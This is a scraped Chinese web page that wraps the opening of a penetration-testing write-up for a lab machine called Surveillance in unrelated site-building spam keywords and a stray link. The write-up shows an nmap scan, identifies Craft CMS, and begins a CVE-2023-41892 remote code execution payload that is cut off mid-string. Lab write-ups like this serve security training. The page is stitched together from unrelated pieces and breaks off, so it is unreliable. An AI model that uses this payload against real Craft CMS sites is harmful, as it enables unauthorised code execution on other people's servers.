当前位置： 首页 > news >正文

精品网站建设多少钱万网租空间 网站

news 2025/10/7 14:22:34
精品网站建设多少钱,万网租空间 网站,淘宝seo优化是什么意思,wordpress 网页加速文章目录 信息搜集getshell提权信息搜集 nmap扫描端口 nmap -sV -sC -v -p- --min-rate 1000 10.10.11.245扫出来两个端口，其中80端口有http服务并且重定向到surveillance.htb 那么我们添加下域名然后访问80端口，发现是企业网站尝试扫描子域名和目录无果后，用Wappalyzer插…

文章目录

    • 信息搜集
    • getshell
    • 提权

信息搜集

nmap扫描端口

nmap -sV -sC -v -p- --min-rate 1000 10.10.11.245

在这里插入图片描述

扫出来两个端口，其中80端口有http服务并且重定向到surveillance.htb

那么我们添加下域名然后访问80端口，发现是企业网站尝试扫描子域名和目录无果后，用Wappalyzer插件看看

在这里插入图片描述

得知是Craft CMS后，去网上搜一下发现存在远程代码执行漏洞(CVE-2023-41892) 参考文章

payload

action=conditions/render&test[userCondition]=craft\elements\con
http://mrfarshtey.net/news/172/

相关文章：